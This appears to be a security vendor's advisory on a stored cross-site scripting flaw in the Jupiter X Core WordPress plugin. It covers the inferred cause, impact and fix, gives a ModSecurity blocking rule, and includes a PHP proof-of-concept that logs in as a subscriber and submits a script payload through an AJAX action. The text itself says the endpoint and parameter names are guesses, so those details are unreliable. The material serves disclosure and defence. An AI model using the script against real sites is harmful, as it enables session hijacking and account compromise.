Atomic Edge analysis of CVE-2026-39491 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) in the Jupiter X Core plugin for WordPress, affecting versions up to and including 4.14.1. The flaw allows authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts into pages. The vulnerability carries a CVSS score of 6.4 (medium severity) and is classified under CWE-79.
Atomic Edge analysis infers the root cause from the CWE classification and vulnerability description. The plugin likely fails to properly sanitize user-supplied input before storing it in the database and fails to escape the output when rendering the content on a page. Common vulnerable patterns in WordPress plugins include custom post types, shortcodes, widget areas, or comment-like submissions where the plugin trusts subscriber-level roles and does not apply sufficient validation or escaping. Since no code diff is available, this conclusion is based on the provided metadata rather than confirmed through code review.
An attacker with subscriber-level access can exploit this vulnerability by submitting crafted input through a plugin-specific form or AJAX endpoint. The attacker would inject a malicious script payload, such as alert(‘XSS’), into a field that the plugin stores and later renders without proper escaping. The payload executes when any user, including administrators, views the affected page. The exact endpoint is inferred to be an AJAX action or REST route associated with the Jupiter X Core plugin, such as jupiterx_core_save_element or jupiterx_core_submit_content.
The fix likely requires implementing proper input sanitization using WordPress functions like sanitize_text_field(), wp_kses_post(), or similar functions on the vulnerable input fields. The plugin must also escape output using esc_html(), esc_attr(), or wp_kses() when rendering user-supplied data. Version 4.14.2 presumably addresses these deficiencies.
Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of authentication tokens, defacement of the site, or redirection to malicious domains. Since the attacker requires subscriber-level access, the impact is limited to authenticated users but can still compromise site integrity and user data.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-39491 - Jupiter X Core Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-39491'"
SecRule ARGS_POST:action "@streq jupiterx_core_save_element" "chain"
SecRule ARGS_POST:element_data "@rx <script[^>]*>" "t:none,t:urlDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-39491 - Jupiter X Core <= 4.14.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting
// This PoC assumes the vulnerable endpoint is a WordPress AJAX action named 'jupiterx_core_save_element'
// which is common for element-based page builders. Adjust $target_url and $action as needed.
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber_user'; // Valid subscriber credentials
$password = 'subscriber_password';
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 1: Login to get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
curl_close($ch);
// Step 2: Submit the XSS payload via the vulnerable AJAX action
// The payload is a simple script tag that demonstrates the vulnerability.
// In a real attack, the payload would exfiltrate data to an attacker-controlled server.
$payload = '<script>alert(document.cookie);</script>';
$post_data = array(
'action' => 'jupiterx_core_save_element',
'element_data' => $payload, // Inferred vulnerable parameter
'nonce' => '' // The plugin may not validate nonce for subscriber-level users
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
// Check for success (response may vary)
if (strpos($response, 'success') !== false) {
echo '[+] Payload submitted successfully. XSS will trigger on page load.' . PHP_EOL;
} else {
echo '[-] Submission failed. Check target URL, credentials, or endpoint.' . PHP_EOL;
}
// Cleanup
unlink('/tmp/cookies.txt');
